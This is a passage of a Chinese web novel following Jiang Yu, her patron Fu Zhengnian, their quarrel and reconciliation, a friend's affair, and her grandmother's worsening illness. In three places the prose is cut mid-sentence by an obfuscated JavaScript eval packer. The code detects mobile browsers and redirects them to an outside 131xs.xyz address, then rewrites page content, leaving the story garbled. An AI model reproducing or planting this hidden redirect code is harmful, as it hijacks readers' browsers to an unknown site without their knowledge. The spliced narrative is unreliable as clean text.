说起这件事简娆就十分来劲,“你是不知道,前段时间陈婷老师要去国外任教的消息一传出来,好多人多打起了主意,就连我现在跟的那位,他的另一个情儿也想去,就让他去找陈公子说道说道,结果没想到被你截胡了,这可算是给我出了口恶气。” 江余诧异地看着她。 简娆明白她想问什么,便给她解释:“都是见不得光的情人,那位偏生觉得自己比我高贵,每次看到我那头恨不得抬天上去,早就看不惯她了。” “他还让你们见面?” 简娆说那可不,有时候做那事还一起呢。 江余属实有些瞠目结舌,半天没说话。 “不过也不重要了,反正我现在钱也存的差不多了,干完这票我就回老家开个小店,能养活自己就成。”简娆说,“这大城市的金碧辉煌,肮脏污臭我都见过了,也没什么遗憾了。” 简娆说着说着语气莫名带了一丝惆怅,当初她也是满怀信心的来这里打拼,想要在这个地方站住脚跟,没想到短短几年的时间,她就已经没了之前的雄心壮志。 江余笑着对她举杯,“祝贺你。” 简娆与她相视一笑,“谢谢。” 后来,简娆又跟江余说了许多事,她说孙雨彤前段时间被狗仔挖出了黑料,后来她是去找付政年帮她摆平的。 简娆问江余怎么想,江余说挺好的,这样看来以后分开如果她遇到什么事,还能回去请他帮忙。 简娆说,陈和畅玩的很花,男女都吃。 她还说之前某个富二代对他养在外面的金丝雀动了真心,想要跟她,结果他家里人不愿意,强行给他定了一门婚事,还找人去那个女生上班的地方闹,那个女生后面待不下去就离开北京去了其他地方。 而那个富二代呢,一开始想尽各种办法跟家里人闹,后来他爸断了他的卡没几天就消停了。 还有弟弟变亲儿子的, 一个老总保养了一对姐妹花,结果其中一个怀孕,另一个心生嫉妒,把她姐姐推下楼摔死了。 诸如此类的还有很多很多。 从前江余听闻这些,兴许还会气愤的骂一通,现在或许是自己也成了别人饭后的谈资,对这些事也见怪不怪了。 简娆还开玩笑说,她知道那么多八卦,以后或许还能以此写一本小说。 江余说:“那请你手下留情,不要给我写的太惨。” 简娆哈哈大笑,“那肯定的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江余这下明白了,她觉得有些好笑,就问他:“这个买成多少钱?” “1000。” 江余笑的更欢了,付政年也被感染了几分,他问:“嫌便宜?” “没有。”江余笑着把手串套手上,“我还挺喜欢的,我先去洗个澡。” 进到浴室,江余看着手腕上的手串,不禁有些失神。 付政年是含着金汤匙出生的大少爷,他见过无数好东西,而且也在商场摸爬滚打很多年,他又怎么会分辨不出这东西值多钱,看不清这就是一个骗局呢。 至于为什么还是当了冤大头,大抵是为了敷衍她吧。 因为没办法去给她求平安符,就买了一个寓意着“平安”的手链给她。 虽是敷衍,但也把她说的话放心里了。 这是江余头一次觉得,她竟然那么容易满足。 24. 24 不知道是不是因为她上次说的话,从那之后,付政年每次出差都会告知她行程,甚至连几点的飞机都会发给她。 时间转眼来到三月底,几乎没有人想到北京这个时节竟还会下雪。 江余也没想到她运气会那么背,她刚走到楼下,脚踩滑了竟直接从台阶上摔下去,把右手给摔伤了。 付政年赶到医院的时候她刚打完石膏,额头上还贴着个创口贴,坐在走廊上眼巴巴的等他。 付政年走过去仔细打量了她一番,颇有些稀奇地说:“厉害啊余余,走个路还能给自己摔成这样。” 说着他竟还拿出手机拍了一张。 “......” 他又看了下她额头上的伤,“有没有摔傻?” 江余白他一眼,把他的手拍开。 她的腿其实也摔到了,只不过没有手那么严重,医生就只让她回去好好喷药。 江余这情况也去不了公司,索性就直接待在家里了,需要她过目的合同白恬会给她发邮箱,要签字的,就让白恬给她送过来。 付政年原本打算给她请个护工,江余说她还有一只手能用,不需要。 没办法,付政年除了必须到场的会议和推脱不了的饭局,其他时候都居家办公,照顾她的饮食起居。 江余觉得他就有些多余搞这一出,毕竟他们平时吃饭要么出去吃,要么就是叫餐。 唯一不方便的就是她扣内衣和吹头发的时候。 其他的,她一只手完全可以。 但是这两样付政年也完全帮不上忙。 让他帮忙扣内衣,经常就是扣着扣着就扣到床上去了。 金尊玉贵的付公子第一次给她吹头发,直接把她头发吹到打结,梳了好久才梳开。 偏生付政年乐此不疲,每天就紧着她的头发嚯嚯,到后来竟还真让他熟练了。 江余心想他是不是想用她来练手,以后好给哪个小妖精服务呢。 人一闲下来就喜欢东想西想,当时摔下去的时候,江余的头也被磕了一道口子, 她现在每天都要在镜子面前念叨很多遍,“我会不会毁容啊。” 听第一遍的时候付政年是这样说的,“那么小一个口子,能有什么影响,而且现在技术那么发达,实在不行还能去做修复。” 江余当时回怼了一句,“不是都说付公子喜欢纯天然的吗,我要是去修复了,这不就掺杂科技了吗,你要想跟我断呢就直说,不用拐弯抹角的。” “……” 付政年发现,女人在扭曲道理的时候真的特别有天赋,一不小心就给他绕里面了,他索性选择不说话。 江余却没有因此放过他,她走过去坐到他身边,直溜溜的盯着他,“真被我说中了?” 付政年跟她说不通,把电脑丢一旁,用其他的方式让她闭嘴。 当他再一次听到这话时,他伸手揽过她,饶有兴致地说:“从前我怎么没看出你有那么在乎你这张脸呢?” 江余一本正经的说:“从前我也没受伤啊。” 后来为了堵住她的话,付政年让人送了最好的祛疤膏过来。 她这才消停。 江余刚受伤没几天,她大姨妈就来了。 可能是因为最近吃了很多药的原因,从来都不会痛经的她这次竟然疼到下不了床,脸色惨白,汗水大颗大颗往下流。 付政年哪见过这种架势,当即就抱起她送医院。 输了液她才慢慢缓过来,但回去之后还是有气无力的,没有一点精神。 这下付政年倒是真照顾起她来了,给她冲红糖水,换作花样叫大补的补汤,亲自端到床边给她。 但江余总是要让他先尝一口。 付政年以为她是怕烫,后来特地等温度差不多了才给她端过去。 但她也还是会叫他先尝尝,他问为什么。 江余笑着说怕他下毒。 有时候付政年还挺怀念之前那个对他爱答不理,或者在他面前总持着三分小心翼翼的江余。 她是从什么时候开始变的呢? 似乎是他们发生亲密关系过后。 从那之后,她就把自己放在一个与他相对平等的位置,自然就不用再小心翼翼了。 江余受伤期间,宫白卉来看过她两次,有一次付政年也在。 宫白卉得知付政年这段时间经常待在这里陪她,还给她端茶送水时差点惊掉了大牙,回去之后一直发消息提醒她千万不要迷失在这短暂的温柔里。 怎么说呢,这段时间确实过得很梦幻,温馨到叫人觉得不太真实。 付政年真就这样照顾了她快一个月,以至于让江余都快要习惯了他的存在。 甚至还想过,她这伤要是再好慢点就好了。 可惜,这美好的幻境过后往往都是不如人意的残酷。 没过多久,江余被付政年抛弃的传闻就四处流传出去。 宫白卉之前看到过两人的相处模式,她以为,这件事不会来的那么快,所以一听到消息就立即把江余叫出去盘问。 面对宫白卉好奇的目光,江余拿勺子慢慢搅动着自己碗里的汤,叹了口气才开始娓娓道来。 她伤好后,付政年叫她陪他去参加一个饭局。 利丰现在的股价比江父还在的时候都 高了不少,而且还在稳定上升。 现在面临的问题就是,生产技术方面可能会跟不上,这次饭局里有一位杨总他们公司的生产技术一直很不错,如果能够和他们达成合作,对未来几年的发展都是一个突破。 付政年亲自带她去,一开始的洽谈都很愉快。 那天吃完饭,后来又去了娱乐会所。 事情的转折就是发生在转场之后。 付政年当时在跟其他人聊着事情,江余也在一旁跟杨淖聊着合作的方向。 当台上的歌手唱完了一首歌过后,不知道是谁说了一句,“我听说江总是音乐学院毕业的,上去给我们展示一下怎么样?” 江余脸上的笑僵硬了一瞬,但很快又恢复如常,她笑着说:“我唱歌不好听,之前主修的是钢琴,现在好久没接触,早就忘得差不多了。” 这时杨淖出声了,“前段时间还听说江总帮付总谱了首曲,现在却说忘得差不多了,看来是我们面子不够大,不配得见江总的真才实学啊。” 那时江余很明显的感受到她脸上的笑快要挂不住了,在众人的哄笑和挖苦中骑虎难下,她强忍着笑说:“那不是我的功劳,我就是个打杂的。” 她话都说到这份上,这个话题自然而然就结束了,她也以为这件事就这样过去了。 谁料杨淖盯着她看了几眼后突然道:“江总这性子有点意思,要不这样,给我留个你的号码,微信上消息太多了怕有时候没注意到,我们私下可以多了解了解,也有助于合作推进。” 江余脸色彻底沉了下去,那一刻,她特别想把杯中的酒泼他脸上,头也不回的摔门离开。 杨淖也确实是喝多了,不然他就算再对江余再怎么感兴趣,也绝对不会当着付政年的面说出来这话。 付政年当时的脸色也有些不好看,他瞥了眼杨淖,嘴角虽然带笑,但语气却没一丝温度,“杨总是不是太着急了。” 杨淖方觉不妥,连连应是,连喝了好几杯酒赔罪。 要说江余之前只是觉得屈辱,那这分钟她的心却是彻底沉入谷底,心底的寒意也将她整个人笼罩。 接下来的时间,她没有再说一句话。 回去的路上,付政年看江余一句话不说,以为她还在为杨淖方才的话生气,就凑过去把她抱怀里,笑着问:“还生气呢?” 江余语气冷淡,“没有。” 不想再和他说话,她就借口有些困,先睡一会儿挣脱开了他的的怀抱,闭上眼睛把头偏向另一边。 情绪的彻底爆发是在回去之后。 江余到家就一声不吭的拿着睡衣准备去洗澡,这下付政年再怎么着都能感受到她的脾气了。 他一把拉住她,捏着她的下巴抬头与他对视,慢慢勾唇,“我们余余气性那么大呢?” 江余还是否认:“我没生气。” 看着她平直的唇线,付政年继续说:“那些人就是这样,你不用把他们的话放在心上。” 江余也是真被他问的有些烦,她推开付政年,语气也提高了几分,“我说了我没生气。” 被她这一吼,付政年的脸色有一瞬的愣怔,随后嗤笑一声,“你这是无差别攻击啊,拿我出上气了?这是商场,不是学校,人人都是见风使舵的,你要是这点话都听不了,那你还不如趁早把公司交给其他人打理。” 一而再再而三的受她冷脸,付政年就算再好的脾气也没忍住。 听到这话,江余突然笑了,笑的十分讽刺。 原来他以为她今晚的情绪是因为杨淖那些人。 她原本是想自己慢慢把情绪消化的,但他非要刨根问底,那她索性就把话剖开了讲:“你明明知道杨淖说的那话是什么意思,你还问他是不是太着急了,你把我当什么人了,一个可以交易流通的物品?还是说付总想亲自为我挑好下家?” 付政年才知道她是因为这话生气,他不由失笑,“当时就随口一说,你当我有那么闲,有功夫管你往后跟着谁?而且我要真那么看你,至于费尽心思的给你挑选合作方?” 头一次上赶着献殷勤结果还被人误解,他越想觉得烦,“陈和畅帮了你的忙,你感恩戴德的去给人捧场,和颜悦色的陪酒。我带你去饭局,给你铺路,结果你反倒因为一句话在这跟我闹,江余,你还能有点良心?” 这是两人头一次争吵,江余本来就在气头上,此刻也不愿意低头,“对,我是对他感恩戴德,毕竟他没说出过这种侮辱人的话。” 付政年冷笑一声,看向她的眼神好似在嘲笑她的无知,“那你觉得他是为什么愿意给你几分面子。” 这话一出,江余彻底失去了跟他辩驳的言语,整个人从头凉到脚。 他说的对,她现在得到的一切,都是因为他。没有他,利丰可能早就宣告破产被人收购了。 她之前以为不过是各取所需,可她从付政年身上得到的东西,远比她付出的还要多。 他们之间,哪里可能真正平等. 江余忍了一晚上的泪水就这样夺眶而出滴落在他手上,她勾起唇角,说:“付总说的没错,是我不识好歹,您说我清高也好矫情也罢,商场这一套我确实学不会,让您失望了。” 看到她哭,付政年心里的火气更旺,他烦躁地皱起眉头,只觉得方才手背上被她眼泪砸到的地方十分灼热。 他松开手,拿起一旁的外套出了门。 自那之后,他们就接近快两个星期没再见过面,也没有发过一条消息。 宫白卉听完前因后果,当即就不淡定了,铺天盖地的骂了付政年一通,说他就是个榆木脑袋,混迹情场那么多年,竟然不知道她生气的真正原因。 江余被她这反应逗笑了,她说他哪里是不知道啊,只不过是不在意她的想法罢了。 宫白卉叹了口气,“那你们现在是结束了吗?” “我哪知道呢,他走的时候又没给句准话,反正房子在我名下,我就在那住着呗,他爱来就来,不来就算。” 刚刚骂的太急喉咙有些疼,宫白卉喝口汤润了下才说:“你是准备在那给他守一辈子活寡?” 江余嘁了声,“怎么可能,等他身边什么时候出现新人了,我就把他的东西全都打包丢出去。” “你舍得吗?” 江余沉默好一会儿才出声,她端着平静的语气,眼神也再清明不过,“我还记得第一次看到摩天轮最高点的风景时,我迫切希望它能够多停留一会儿,可它还是按照原本的速度慢慢下降,因为不止我一个人想要看到最高点的风景,它也不会为我而停留。” 所以舍不舍得又有什么关系呢? 至少那高处的风景她看过了,现在一切不过是回归原点罢了。 说到这江余就突然有些后悔,她说:“要是早知道后来会跟他纠缠不清,他开始示好的时候我就应该顺势答应的,那样这段关系的开始就是他主动的了,我要是不高兴,就直接指着他的鼻子让他滚,他要是说我没良心,我就可以说,是你要来勾搭我的。哪能像现在这样过得那么憋屈啊。” 有些话她不会跟罗欣瑜说,但是跟宫白卉就没那么多顾忌,可能归根结底她和宫白卉才是一类人吧。 “不说我了,说说你吧,最近跟那位怎么样了?” 宫白卉笑了笑,说就那样。 “你知道他结婚了吗?” 宫白卉点点头,垂眸道:“知道。” “那你怎么还……” “我一开始真不知道,在一起后才知道的。” 江余眉头轻皱,这些事她们从前从未聊过,今天宫白卉说了她才了解内情,“那你打算怎么办,就这样一直给他……” 那几个字江余没说出口。 宫白卉苦笑一声,“我也不知道该怎么办,当初知道这件事的时候,我也闹过,说要和他分开,可是他一来找我,我就心软了。” “他说让我给他点时间,他会离婚和我在一起的。” “你信吗?” “走一步看一步吧,等哪天我装不下去了,可能也就放下了。”宫白卉说,“对了,你还不知道吧,简娆姐离开北京了,她走之前把我们所有人都删了。” “啊?什么时候的事?” 江余上次听简娆说过她要走,没有想到那么快。 “就上个星期,我当时本来是想问她点事的,给她发消息发现她把我删了,我问了一下其他人,才知道她已经离开了。” 江余笑了笑,说:“挺好的。” 她其实挺佩服简娆的,她很清楚的知道自己想要什么,目标很坚定,走的时候也完全不拖泥带水,把这里的人连带着那些不堪的记忆全都摒弃,义无反顾的奔赴新生活。 “余余,真巧啊,在这遇到你了。” 突然出现的声音让江余和宫白卉一起看过去。 看到来人是宋逸的时候宫白卉当即就站了起来,碗里的汤直接泼到他脸上,速度快到江余根本来不及阻止。 “宋逸,你还敢出现在姑奶奶面前,之前你干的那些龌龊事我还没找你算账呢。” 知道宋逸劈腿的消息后,要不是江余拦着,宫白卉当时就差点冲去找他理论,现在看到他,心里的那股火就再也抑制不住了。 江余眼皮跳了下,从一旁抽了两张纸递给懵逼的宋逸,“擦擦吧。” 随即还给宫白卉使了个眼色,这大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121124|179515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庭广众的,让她注意点影响。 宫白卉全然不在意,“他干的事还不让说了,”说着又把炮火对准宋逸,“你现在又来找余余干什么,是金主没了,见余余公司发展迅猛,又想回来找她复合?你要不要脸啊,你要是劈腿后别摆出这一副情深的模样,我还敬你两分,你知道你现在这样让人看了有多恶心吗,只要一靠近你,就闻到你身上那股屎味,前天吃的饭都要吐出来了。” 宫白卉越说越过分,宋逸的脸上也十分难看,江余生怕他们两个待会儿打起来,忙道:“你是有事要找我吗,我们出去说。” 宋逸忍着怒气看了宫白卉一眼,点点头,转身往外走。 “怎么,被我戳到痛处了受不了,那你劈腿的时候怎么不想想余余,你别走啊,姑奶奶我还没骂够呢。” 江余把宫白卉摁坐下去,捂住她的嘴,“你小声些,这不是什么光彩的事儿,我还要脸呢。” “怕什么,谁劈腿谁没脸。” 说完宫白卉还四处看了看,发现果真许多人都朝这边看来时一下就焉了,想到她刚刚的彪悍,她习惯性的低头想喝汤缓解一下尴尬,但她碗里的汤现在全都在宋逸身上。 江余着实有些头疼,“你就非得让所有人都知道我前男友找了一个男的金主把我给甩了是吧。” “对不起啊,刚刚看到他有点激动,一时没忍住。” 宫白卉就是大小姐脾气,一激动起来什么都不管不顾,江余是知道的。 “行了,你先坐一会儿,我出去看看。” “那你可千万不能心软原谅他啊。”宫白卉不放心地说着。 “放心吧。” 江余出去的时候,宋逸正在擦拭着脸上的汤渍。 她走上去先出声:“抱歉啊,白卉她性子比较急,我替她向你道个歉,你别跟她一般计较。” 宋逸收拾好情绪,对着她笑笑,摇头道:“没事的,我知道她是为你好。” 江余勾勾唇,“你怎么会在这?” “和朋友吃个饭,看到你就想着上去打个招呼。” “宋逸,”江余认真的看着他,一字一句道,“我们已经分手了,而且也不可能做成朋友,以后如果再遇到的话,我们就当做不认识吧,也省了许多的麻烦。” “余余,对不起,上次我不该跟你说出那样的话。之前我也是真的没办法,我要是不答应,以后我在这个圈子就混不下去了,我一直想找机会跟你解释来着的。”宋逸语气有些焦急。 江余轻轻一笑,平淡道:“对不起我收下了,至于原凉就算了。” 她的情绪过于平静,宋逸越发的心慌,“我听说你和那位掰了,我现在也没什么顾虑,你愿不愿意……” “我不愿意。”江余直接打断他,“宋逸,我不怪你为了前程放弃我们三年的感情,但既然选择分开,那就体面些,过去的事就让它过去吧,别让我觉得当初选择跟你在一起是一件后悔的事。” 她今天出来就是为了把话跟他说清楚,她不后悔曾经付出过的真心,但也不会走回头路。 说完江余就转身进了店里,留宋逸一人在外面独自神伤。 他早该知道她的性子的,从他做出决定的那一刻,他就彻底失去了她。 余生漫漫,她再不会回头看他一眼。 * 江余本来就不是很高的情绪在经过宋逸这一搅和过后越发的低沉,和宫白卉分开后她一个人茫然的站在路边。 人在心情不好的时候,总会特别渴望在亲人身边。 江余看时间还早,直接打车去了疗养院。 她到的时候老太太正在跟病房里面一位患了阿尔兹海默症的奶奶聊天,好巧不巧,她们正在讨论自家的孙子孙女。 看她们聊的开心,江余也没有立即进去,就倚在门口偷听。 老太太是这样说她的,我的小孙女啊,长得特别漂亮,特别聪明,从小就听话,懂事。 可我有时候希望她不要那么懂事。 因为她爸的一些错误教育,导致她心思敏感,因为她叫江余,所以总觉得自己是多余的。 可我们余余明明是世界上最好的孩子,她是值得所有人爱的姑娘啊。 江余听到这些话后便笑了,可很快泪水也随之落下,她捂住自己的嘴唇没有发出一丝声音,迟迟没有推开这道门。 疗养院的医生每晚都会查房,负责老太太的张医生一过来就瞧见江余站在外面哭,他走过去问:“江小姐,你怎么了?” 江余摇摇头,立即止住眼泪,从包里拿出纸巾擦了一把脸,“没事张医生,我今晚有空,就过来看看奶奶。” 张医生也听到屋里在聊什么,心里大概也明白她刚刚为何会情绪崩溃,他犹豫了一下还是开口:“江小姐,关于江奶奶的病情,我也正好想跟你说一下,我们借一步说话。” 江余的心陡然一沉。 从疗养院出来,江余就有些魂不守舍的。 张医生跟她说,老太太的并发症最近越发频繁,透析有时候也缓解不了她的疼痛,如果再不做手术,可能撑不了多久了。 然而就算找到合适的肾源做手术,成功的概率也不到三成。 老太太的声音还回旋在耳边,江余却好似只能听得到那句,“我们余余是世界上最好的孩子,她是值得所有人爱的姑娘。” 可是奶奶,您就是这个世上最爱我的人啊。 * 纵使这段时间发生的事一茬接一茬,可江余也没有时间疗伤。 之前付岱给她介绍的那个合作方秦总,当时签的合同只是两个季度,她现在必须去找他续订合同,不然利丰下半年的周转就会失去平衡。 其实这次跟秦超的见面江余心里是有些悬的,毕竟之前签订合同他是看在付政年的面上,如今他们闹成这样,秦超未必会愿意再和她合作。 但出乎意料的是,在她表达出想要继续合作的意愿后,秦超一口应下了。 江余虽然高兴,但还是问了一下:“秦总为什么那么爽快的答应续约,您应该不乏更好的选择。” 秦超也是个爽快人,并没有藏着掖着,与她直言道:“我的确有更好的选择,不过那些企业大多都是已经成型了的,我于他们而言就只是合作方,各种条约也都是按照市场标准来制定,但我现在跟江总长期合作,等您发展起来,我们就是合作伙伴,我相信江总不是忘恩负义的人。” “一开始跟您签约确实是因为付总的原因,不过后来江总的诚意和实力也征服了我,我自然愿意和利丰长期合作。。” 听完这番话,江余会心一笑,“感谢秦总信任,我不会让您失望的,合同我让助理先拟定一份给您过目,确认后我亲自去贵公司与您一同签订。” “好。” 这顿饭,江余和秦超聊的十分合拍,等结束时秦超都有些喝多了。 因为白恬帮她喝了不少,她倒没什么感觉,下楼时还一直提醒秦超注意楼梯。 他们刚下完最后一道楼梯,这家店的一位客人着急忙慌的跑下楼,不小心撞了秦超一下。 秦超如今本就有些重心不稳,被这一撞直接往旁边一偏撞江余身上了。 江余立即扶住他,她的余光往上看时,瞧见了一道熟悉的身影。 而她和秦超如今的姿势,像极了抱在一起。 25. 25 看到付政年的时候,秦超的反应比江余还大,他立即倒退一步和她保持距离,在付政年他们走下来的时候主动迎上去,一脸讨好,挨个跟他们打招呼。 付政年旁边还有两个人,一个章烨磊,另一个她没见过,不过听秦超叫他朱先生。 他们今天穿的都是便装,不像是来谈事情,反倒像是普通聚会。 也不等江余开口,秦超先解释了起来,“付总,我今天是跟江总来谈合作的,喝的有点多,刚刚不小心被人撞了一下,幸好江总及时扶了我一把。” 他顿了下又补充道:“我们的助理也都在的。” 看到秦超比她还怕被误会,江余忍住想笑的冲动,她心想,这人以后应该是一个能成大事的,有眼界,有魄力,还能屈能伸。 付政年轻轻勾唇,从刚才一出现,他的眼神就一直落在江余身上,似乎在等她说些什么。 江余迎上他的目光,微微一笑,说:“我还有点事,你们慢慢聊,先走了。” 她的态度冷淡,也不管其他人什么反应,带着白恬转身就走。 付政年嘴角的笑再没维持住,他现在有些搞不明白,当初怎么就非得去踢这块铁板呢? 秦超对于江余的反应也有些震惊,他尴尬的笑了笑,也寻了个借口开溜。 章烨磊没忍住笑了声,带着十足的幸灾乐祸,他对着身旁的男人说:“我之前跟你说你不信,现在信了?走吧,去我哪儿玩玩?” “上头现在查的严,你那地方我可不敢去,你们去吧,我回去了。” 说完他又看向付政年,提醒了一句,“小心把自己玩进去了。” 付政年瞥他一眼,冷哼道:“你少听章烨磊胡说八道。” 几人说着往外走,上车后各自驶向不同的方向。 回去的时候白恬问江余她就这样走了付政年会不会生气,会不会影响到和秦超的合作。 江余说他生气是必然的,但影响不到合作,付政年给出去的东西就不会收回,他更不屑用这种胁迫的方式逼人低头。 * 接下来付政年去巴黎出了几天差,一回来就被叫到了康乔。 进去后他找了一个靠边的位置坐下,一言不发的抽烟。 也不知怎么的,只要一闲下来脑子里总会想到江余毫不犹豫离开的背影以及那晚滴落在他手上的眼泪,那两滴泪实在灼热,让他现在都能隐隐感受到手背上的痛意。 越想越烦躁,他连灌了好几杯酒下去,可心底的躁意却没有得到一丝缓解。 不知道什么时候一位舞女坐到了他身边,看到他一个人在喝闷酒,她便主动为他倒起了酒,付政年淡淡看她一眼,也没有拒绝。 也正是因为他的默许,那位舞女胆子也越发的大起来,她再次给付政年倒上酒后并未递给他,而是端着酒杯送到了他嘴边,想要喂他喝下。 付政年盯着这杯酒看了半晌,最终轻轻偏过头,说了句“你们玩”就起身拿上外套出了包厢。 那位舞女脸色顿时有些尴尬。 里面的人全都面面相觑,还有些没反应过来,从前付政年就算不感兴趣,也断不会这般落人面子。 出了康乔,付政年坐在车里抽了好几根烟,看到储物格里那个粉色盒子后,他才让司机开车。 输入密码推开门,付政年一眼就瞧见客厅摆放着两个袋子,而江余正蹲在旁边,把他的东西一点一点装进去。 听到动静,江余回头看去,两人就这样四目相对,空气中都夹带了一丝尴尬。 片刻后,江余打破沉默,“我想着这些东西你都不会再要了,就准备收起来……” 拿去丢掉。 付政年从前喜欢的就是她的清醒理智,可如今却觉得她实在狠心。 他忍住转身就走的冲动,他把外套挂衣帽架上,换鞋走进去,把手里的东西搁茶几上,冷笑几声后问:“就那么着急想跟我撇清干系?” 江余轻抿唇角,放下手中的东西起身,轻笑着开口,“付总身边既然都有新人了,我自然要识趣的离开。” 付政年皱眉问:“你听谁说的?” 江余嘴唇蠕动,却一个字没说出来。 她那天走的干脆,平时看起来也洒脱,可回到家里却总是觉得心烦意乱,怎么也静不下来,她每晚都坐在沙发上,把电视声音开到最大,逼迫自己不要胡思乱想。 这种状态一直持续到她今晚在陈和畅朋友圈看到一张照片。 照片里灯光昏暗,看布局就知是在康乔。 陈和畅并非特地要拍谁,他想拍的是桌上一瓶前段时间某个品牌新出的酒,结果不小心拍到了一个身材姣好的女人,同时出境的还有一只端着酒杯的手。 通过手腕上的腕表,江余一眼就认出了这只手的主人就是付政年。 她当即轻笑一声,放下手机起身,从柜子里找出行李袋,开始清理东西。 所以付政年有新欢的事,她并未听谁说,也没有得到证实。 真要细究她为什么那么着急的想要把付政年的东西清理出去,可能她自己都说不清楚。 气氛再次沉默,距离上次激烈争吵已经过去了快一个月。 其实仔细想来,那件事也并不是什么大事,江余也不知道自己到底在较什么劲,可能归根究底也不过是因为那句话是从他嘴里说出来的罢了。 也不知道过了多久,付政年长叹一口气,语气也是她从未听到过的惆怅,甚至还带了一丝不易察觉的恳求,像突然涌起的潮水,听的人心里一阵淤堵。 他说:“余余,给我煮碗面吧,最近出差,老是吃不好,一直念着这一口。” 说出去谁会信,付政年什么山珍海味,珍馐佳肴没吃过,可最挂念的,偏偏是出租屋里那一碗味道很普通的挂面。 有那么一瞬间,江余无比痛恨自己心软的毛病。 平时江余也不做饭,冰箱里面并没有什么食材,两人只好下楼去买,回来后她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16125650|179515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接就进了厨房。 整个过程,两人一句话都没说。 付政年在厨房门口站了一会儿,也跟着走了进去。 他沉默着拿过江余手里的菜,主动清洗起来。 江余怔愣地看着他,完全没有想过有一天付政年也会干起这事来。 他那浑身上下都透露着的矜贵气质,与这厨房实在格格不入。 这一碗面,付政年吃的很干净。 要不是江余对自己的厨艺有自知之明,还真会以为这碗面有多美味。 他去浴室洗澡的时候,江余一个人静坐在沙发上,她看着茶几上包装精致的盒子,还是伸手去打开。 华美的包装下,是一个简约的透明玻璃瓶,浅蓝色的液体在灯光下散发着细闪光芒。 这是一瓶私人调配的香水,一打开就香味扑鼻,夹杂了好几种花香,十分好闻。 她之前开玩笑说想要的香水,他给带回来了。 浴室里传来的淅淅沥沥水声像是一记记拳头在击打着她的防线。 她知道,她和付政年的关系到这就及时止损是最好的选择。 可她却又不禁在想,反正都是黄粱一梦,晚些醒来又有什么关系。 江余把香水放好,走进去推开浴室的门。 付政年站在花洒下,水珠顺着他白皙的肌肤往下流淌。 在他疑惑不解的目光中,她一步步朝他走去。 付政年一愣,随即快速伸手把花洒关了。 江余走过去抱住他,在感受到他身上的冰凉后赫然抬头,“你怎么……” 她接下来的话被付政年尽数堵了回去。 花洒也不知道是什么时候再被打开的,只不过这一次落在身上的是温热的水。 以往在这事上,付政年都是极有耐心的,他喜欢看她从清醒到沉沦,喜欢看她被撩拨到情难自抑,然后再慢慢的将她拆吞入腹。 可这次不同,他进的十分急切,也比之前更加冲动。 江余就这样被他带着在这情潮浪涌中迷失自己,只渴望他能离自己近一点,再近一点。 这天付政年在意乱情迷之际说了好多话,江余只零星记得一些。 他说,我都答应你了,怎么会背着你有其他人。 江余问他什么时候答应的? 付政年说用行动答应的,紧接着就是越来越重的力道。 他还说,那天的话是我过了,给你道个歉。 他也说了,余余,这段时间我好想你。 水声还在继续,江余回头望他,他神情冷峻,眼中却被情欲灼热。 她鼻头一酸,迅速回头。 结束后,付政年并未离开,他从身后紧紧抱着她,附在她耳边轻喘。 江余缓了缓,哑声开口:“付政年,你打算什么时候放我走?” 付政年低头在她肩上亲了一下,看着被水雾覆盖住的窗户,低声道:“等北京大雾弥漫,抬头不见天时吧。” 26. 26 江余以为自己的生活已经走出了泥潭,可经过这一晚,她又被拉回了沼泽。 也是从这天之后,她感受到付政年对她的态度少了几分轻慢。 也不知道从什么时候开始,他记住了她的饮食习惯,记住了她的喜好,她随口一说的话,他也会放在心里。 江余闲下来偶有闲情雅致做饭的时候,付政年都会去厨房帮她,她也从一开始的不习惯,到后来熟练的指挥他干这干那。 付政年也不恼,她说什么就做什么,只是经常会搞砸,还要她重新回去收拾一遍。 江余觉得她有时候也是该的,明知他不会,还非得让他干,白白给自己添麻烦。 她做饭其实很一般,但她每次费尽心思的做出一大桌子菜,付政年总会给她夸的天花乱坠的,结果一看桌上,还剩了一大半。 江余叫他别睁眼说瞎话,但当他真说实话,她又不乐意,直接抢过他手里的碗筷,叫他别吃了。 付政年也算是摸清楚了她的脾性,看似脾气很好,从不钻牛角尖,但骨子里又傲又倔,难缠的要死。 他也是中了她的邪了,才会上赶着找气受。 这个周末,陈和畅不知道怎么想起说要去郊外露营,还非要让付政年把江余也给带上。 外面三十来度的天气,江余找了个帽子戴上,把自己裹得严严实实的。 付政年打趣她说不知道的还以为她是要去过冬。 江余看他一眼,默不作声的在脖子上又涂了层防晒。 付政年这下信了她是真的很在乎她这张脸。 陈和畅选的地方开车要两个多小时,他们到的还挺早,都还没有几个人。 打了招呼后,付政年直接带着江余坐在章烨磊旁边。 上次在饭店遇到的那个男人也在。 付政年坐下就给江余介绍起来,那人叫朱文华,跟他是发小,刚回来不久。 说来也奇怪,朱文华看着一身正气,对谁都和颜悦色的,但江余却总感觉他看她的眼神透露一丝不善。 